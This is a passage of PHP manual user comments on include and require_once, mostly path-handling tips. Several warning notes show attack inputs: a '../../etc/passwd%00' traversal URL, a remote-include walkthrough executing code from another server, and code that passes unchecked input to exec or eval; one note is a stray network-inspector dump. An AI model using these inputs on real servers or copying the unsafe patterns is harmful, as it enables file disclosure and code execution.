If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
phpbypass at digitallyhazardous dot com 03-Mar-2014 06:13
You can use include in echo short tags.  To avoid include echoing '1' when you don't need it, simply add an empty string and a demiter to the beginning of the statement.

Example : <?='';include('foobar.php')?>
casey at seangroup dot com 23-Sep-2013 06:35
Include function,utilizing extract and compact to post variables to and return from an include file (great for configurations, ex: DB connection info, or whatever else you can imagine).

<?php
# include function allowing variables to be posted to and returned from the target script
    function inc( $__path, $__return='.', array $__post=array() ) {
    # post var's to the local scope
        if ( count( $__post ) )
            extract($__post, EXTR_SKIP);
    # include the file and store the result
        if ( $__result = include $__path ) {
        # return requested variables from the included file
            if ( is_array($__return) )
                $result = compact($__return);
        # Return ALL variables defined from within the included file
        # NOTE: $__post keys are NOT included!
            else if ( $__return == '.' )
                $result = compact( array_diff( array_keys(get_defined_vars()),
                    array('GLOBALS', '__path', '__return', '__post', '__result')
                    + array_keys($__post) ) );
        # Is $__return a variable from the file?
            else if ( $__return && isset($$__return) )
                $result = array( $__return => $$__return );
            else
                $result = array();
        # unshift the include result into $result
            array_unshift($result, $__result);
            return $result;
        }
        return array($__result);
    }
?>

-------------------------------------------
www.show-ip.org
ethantsien at gmail dot com 11-Sep-2013 09:08
"Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing. "

i strace some php code, i think the first step is searching the current working directory , then include path, the final is the calling script's own directory
brett dot jr dot alton at gmail dot com 10-Aug-2012 01:34
You need to test to see if include() is equal to 1 to see if it's successful. For some reason it tests success instead of failure.

So to test if the include failed, you need to test like this:

<?php
if ((include 'inc/db.php') !== 1)
{
    die('Include failed.');
}
?>

The docs say to test against 'OK', which is incorrect, as the return value is int(1);
Anon 27-Feb-2012 03:31
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
sPlayer 02-Mar-2011 06:09
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
joe dot naylor at gmail dot com 22-Oct-2010 11:11
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
emanueledelgrande ad email dot it 09-Jul-2010 11:23
About the problem to include a script in the global scope, after many tests with different solutions, I reached my point. I post it in the hope it may be useful.

At first I built my "globalScopeSimulator" class, but an include called inside a class is not the best solution: if it contains some user code, the user will access to the $this reserved variable and even to all the private members... Critical issue!

That's why I turned back into a function solution.

Another advantage is that I didn't have to make use of the deprecable "global" keyword, since I *imported* the global scope inside the function, with the extract() function.
Using the EXTR_REFS flag this trick does not waste memory, since the extracted variables are not a copy, but a reference to the global ones.

<?php
function global_include($script_path) {
    // check if the file to include exists:
    if (isset($script_path) && is_file($script_path)) {
        // extract variables from the global scope:
        extract($GLOBALS, EXTR_REFS);
        ob_start();
        include($script_path);
        return ob_get_clean();
    } else {
        ob_clean();
        trigger_error('The script to parse in the global scope was not found');
    }
}
?>

Hope it helps... :)
Cheers and happy coding!
this dot person at joaocunha dot eti dot br 23-Dec-2009 02:20
AVOID ZERO BYTE ORDER MARK!

I was having problems with include/require (once or not). I created an include-opening.php which had the initial structure of the page, and then included this page in all other pages. The result was looking "crashed", so I did compare including or just pasting the html code into the page. The hardcoded version displayed ok, even with the source code being exactly the same.

So I opened the include file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
daevid at daevid dot com 21-Nov-2009 01:54
Well now, I am confused because these pages all show them as functions:
Include(), require(), require_once(), include_once()

Yet ALL of the examples show the PEAR way:
http://pear.php.net/manual/en/standards.including.php

"Note: include_once and require_once are statements, not functions. Parentheses should not surround the subject filename."

    include_once "a.php";

To change all require_once('foo.php'); to require_once 'foo.php' execute this:

cd /var/www/

find . -name '*.php' -print | xargs egrep -l \
'require_once\s*(\(.*\));'\ | xargs sed -i.sedorig -e \
's/require_once\s*(\(.*\));/require_once \1;/'

(thanks to Robert Hajime Lanning for that)

Then to remove all the ".php.sedorig" backup files execute this:

find . -name "*.php.sedorig" -type f -exec rm -rf {} \;
Chris Bell 13-Nov-2009 02:12
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
Anonymous 11-Nov-2009 08:35
I was having problems when HTTP headers were being sent before I was ready.  I discovered that this happened only when I was including a file at the top of my script.  Since my included file only contained PHP with no whitespace outside the tags, this behavior seemed incorrect.

The editor I was using was saving the files in UTF8 format, sometimes including the redundant Byte Order Mark at the beginning of the file.  Any Unicode-aware editor would implicitly hide the presence of the BOM from the user, making it hard to notice the problem.  However, by using a hex editor I was able to see and remove the three bytes, restoring normal behavior.

Moral:  Prevent your editor from adding an invisible Unicode Byte Order Mark to the beginning of your source code!
hyponiq at gmail dot com 02-Nov-2009 11:12
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

    if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
            $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

    if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

    if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

    foreach ($directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }

    $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
johan 10-Dec-2008 02:47
If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:

1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).

2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.

eg.

<?php
function nav($i){
  include "nav$i.php";
}

nav(1);

// same as...
include "nav1.php";
// ...as long as variables are global
?>

So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.
snowyurik at gmail dot com 06-Nov-2008 07:49
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
Wade. 23-Oct-2008 05:20
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
AntonioCS at gmail dot com 26-Sep-2008 07:39
Include and Require will call the __autoload function if the file that is being called extends some other class

Example Code:
File teste.php
<?php
class teste extends motherclass {
    public function __construct() {
        parent::__construct();
    }
}
?>

File example.php

<?php
require("teste.php");

if (class_exists("motherclass"))
echo "It exists";

?>

You will be given the output:

It exists

I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.
example at user dot com 22-Sep-2008 06:33
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include '/some_image.jpg';
echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
thedanevans at gmail dot com 21-Sep-2008 08:02
Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
    index.php
    /sub_dir
        index.php
    /includes
        header.php
    /style
        main.css

where both index.php files include header.php and the header.php file includes something like:

<link rel="stylesheet" type="text/css" href="style/main.css">

This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:

<?php
    $include_dist = substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
    $calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">

In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.

NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0
rich dot lovely at klikzltd dot co dot uk 17-Jul-2008 10:20
I needed a way of include()ing a php page from a MySQL database.  It took some work, but
eventually I came up with this:

<?php
function include_text($text){
    while(substr_count($text, '<?php') > 0){             //loop while there's code in $text
        list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
        echo $html;                                      //echo text before tag
        list($code, $text) = explode('?>', $text, 2);    //split at closing tag
        eval($code);                                     //exec code (between tags)
    }
    echo $text;                                          //echo whatever is left
}
?>

It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.

Not sure whether it would work with something like:

<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>

I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:

<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>

Which would work with include_text()

It also won't work as-is with either asp-style or short tags.
ricardo dot ferro at gmail dot com 14-May-2008 08:14
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
Rick Garcia 08-May-2008 06:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
uramihsayibok, gmail, com 25-Feb-2008 02:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
alex carstea 26-Jul-2007 05:07
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
       "../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
     $absPath=dirname($_SERVER['SCRIPT_FILENAME']);

     $relativeArray=explode("/",$relativePath);
     $absArray=explode("/",$absPath);
     $upTokens=0;
     //count the number of ".." tokens that precede the path
     while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
         $upTokens++;
     }
     // create the absolute path
     $filePath=$absArray[0];
     for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
         $filePath.="/".$absArray[$i];
     }

     for ($i=$upTokens; $i< count($relativeArray);$i++){
         $filePath.="/".$relativeArray[$i];
     }
     return $filePath;
 }
?>
  Hope you will find it usefull....

  Alex
Cory Gagliardi 25-Jul-2007 08:22
Easy way to set $_GET values for local includes.

This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.

This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>

However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>

Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
php_notes (at) megaphone . ch 20-Jul-2007 01:28
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)

http://www.php.net/manual/en/ini.php
oasis1 at geocities dot com 29-Jun-2007 05:11
What a pain! I have struggled with including files from various subdirectories.  My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:

<?php

$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;

while ($i < $times) {
 $rootaccess .= "../";
 $i++;
}
include ($rootaccess."foo/bar.php");

?>

This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled  through.
-hh- 23-Feb-2007 12:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
mbread at m-bread dot com 10-Feb-2007 06:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
Nathan Ostgard 19-Jan-2007 11:32
You can also use debug_backtrace to write a function that do the chdir automatically:

<?php
function include_relative($file)
{
    $bt = debug_backtrace();
    $old = getcwd();
    chdir(dirname($bt[0]['file']));
    include($file);
    chdir($old);
}
?>
anonymous 18-Jan-2007 10:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:

<?php
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>

This way neither my includes nor theirs are affected; they all work as expected.
vahe dot ayvazyan at googlemail dot com 10-Jan-2007 12:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:

<?php
    $_GET['param1'] = 'param1value';
    $_GET['param2'] = 'param2value';
    @include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>

Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.

I spent several hours to figure this out.
mlindal at pfc dot forestry dot ca 08-Aug-2006 05:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
    {
    header("Location: newpubs_e.php");
    exit;
    }
?>

Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com 27-May-2006 01:50
Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
    $include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

    foreach ($include_paths as $path) {
        $include = $path.DIRECTORY_SEPARATOR.$filename;
        if (is_file($include) && is_readable($include)) {
            if ($returnpaths == true) {
                $includable_paths[] = $path;
            } else {
                return true;
            }
        }
    }

    return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>
cavarlier [at] hotmail [dot] com 22-Apr-2006 09:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
ignacio esviza 19-Jul-2005 11:10
Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){

    $buffer = ob_get_contents();
    include $file;
    $output = substr(ob_get_contents(),strlen($buffer));
    ob_end_clean();

    ob_start();
    echo $buffer;

    return $output;

}
?>
Ethilien 18-Jul-2005 09:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi 04-Jul-2005 03:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

<?php
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.
17-May-2005 05:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

<?php
if(file_exists("includes/a.php"))
   include("includes/a.php")
?>

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
morris.php <A T> it-solutions.org 28-Apr-2005 02:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

<?php
include "http://example.com/MyInclude.php";
?>

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi 14-Apr-2005 11:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return true;
   }else{
   return false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen
dragon at wastelands dot net 10-Dec-2004 01:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<?php include("/different/root/script.php"); ?>

And this file contains:
<?php echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com 11-Aug-2004 02:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com 03-Jun-2004 01:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
moosh at php dot net 15-Jan-2004 04:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"
james at gogo dot co dot nz 09-Dec-2003 07:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";

  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu 04-Dec-2003 10:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David
redeye at cs-aktuell dot de 08-Feb-2003 02:29
As to the security risks of an include statement like:

<?php
  include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
  if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
    include($page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path = 'pages/';
  $extension = '.php';

  if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
    $filename = $path.$page.$extension;
    include($filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.


require_once

(PHP 4, PHP 5)

The require_once statement is identical to require except PHP will check if the file has already been included, and if so, not include (require) it again.

See the include_once documentation for information about the _once behaviour, and how it differs from its non _once siblings.

User Contributed Notes

Dodo 29-Jun-2014 07:41
If you happen to encounter some "Warning: require_once(): failed to open stream" and you are certain the provided path is right, consider the following example & solution.

Considering the following tree:
+ C:\server\absolute\path\
    + somefolder\
        - index.php
    + supbath
        + anotherfolder1\
            - file1.php
            - file2.php
        + anotherfolder2\
            - file3.php

With the respective sources:
original index.php:
<?php

    // absolute path
    // inclusion status: SUCCESS
    require_once 'C:\server\absolute\path\subpath\anotherfolder1\file1.php';

?>

original file1.php:
<?php

    // relative path
    // inclusion status: SUCCESS
    require_once 'file2.php';

    // relative path
    // inclusion status: FAILURE
    require_once '../anotherfolder2/file3.php';

?>

You will notice the use of "\" as DIRECTORY_SEPARATOR, but the same result is obtained using "/".
Assumption ? PHP does not behave as it should if it encounters a relative path starting by a '../'. Well, this is not true.

Below is a modified file1.php:
<?php

    // absolute path
    // inclusion status: SUCCESS
    require_once '/file2.php';

    // absolute path
    // inclusion status: SUCCESS
    require_once '/../anotherfolder2/file3.php';

?>

It seems that PHP recognizes a non-prefixed file name as an absolute path in a require_once, and that it computes this absolute path from a relative context.

I am not sure this is the expected behaviour, but it was quite hard to figure out. Also, if you want to recognize those special cases where you had to specify a relative path starting with a "/", you can use the following trick.

<?php

    // it goes down one level, and then goes up one level : the result is neutral, but after prefixing your paths with this, PHP handles them
    define ('REQUIRE_TRICK', '/TRICK/../');

    require_once REQUIRE_TRICK . 'file2.php';
    require_once REQUIRE_TRICK . '../anotherfolder2/file3.php';

?>

If this ever gets reworked/fixed, it will be easy to remove the define.
acholoc at gmail dot com 05-Jan-2014 06:43
I think it's important (at least for beginners) to mention somewhere clearly visible that require_once, when being used in a class, cannot be outside a function. (I am aware that even this, i.e. using it within the function is bad practice). However, that information could have saved me some valuable time troubleshooting the "unexpected T_REQUIRE_ONCE" error.
sudanisayfree at gmail dot com 04-Oct-2013 03:53
1 requests  ❘  338 B transferred  ❘  600 ms (load: 655 ms, DOMContentLoaded: 657 ms)
gtes.cwahi.net
600 ms0 ms
HeadersPreviewResponseCookiesTiming
Request URL:http://gtes.cwahi.net/
Request Method:GET
Status Code:200 OK
Request Headersview source
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding:gzip,deflate,sdch
Accept-Language:ar,en-US;q=0.8,en;q=0.6
Cache-Control:max-age=0
Cookie:cwrot=1
Host:gtes.cwahi.net
Proxy-Connection:keep-alive
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
Response Headersview source
Connection:keep-alive
Content-Encoding:gzip
Content-Type:application/xml
Date:Fri, 04 Oct 2013 06:33:45 GMT
Server:nginx/1.3.0
Transfer-Encoding:chunked
Vary:Host
X-Powered-By:PHP/5.2.11
bimal at sanjaal dot com 01-Mar-2013 02:37
Sometimes, you need to maintain the order of includes!
When your file being included needs some resources (like class definition, function body, etc), the file that has those resources should be included first.

However, this is not necessary if you write whole things within a single file :-)

<?php
# class.a.inc.php: Defines an arbitrary class named 'a'
require_once('class.a.inc.php');
## class a { ... }

# class.b.inc.php: Defines an arbitrary class named 'b'
# class 'b' depends on the existence of class 'a'
require_once('class.b.inc.php');
## class b extends class a { ... }

?>

This does not apply strictly when you define classes/functions within the same file:

<?php
# This class needs class 'a' which is not yet defined
class b
extends a
{
}

# You can define this class class later on, within the same file
class a
{
}
?>

In the first example, if you include class.b.inc.php earlier than class.b.inc.a, there is a havoc.
bimal at sanjaal dot com 04-Jun-2011 08:46
If your code is running on multiple servers with different environments (locations from where your scripts run) the following idea may be useful to you:

a. Do not give absolute path to include files on your server.
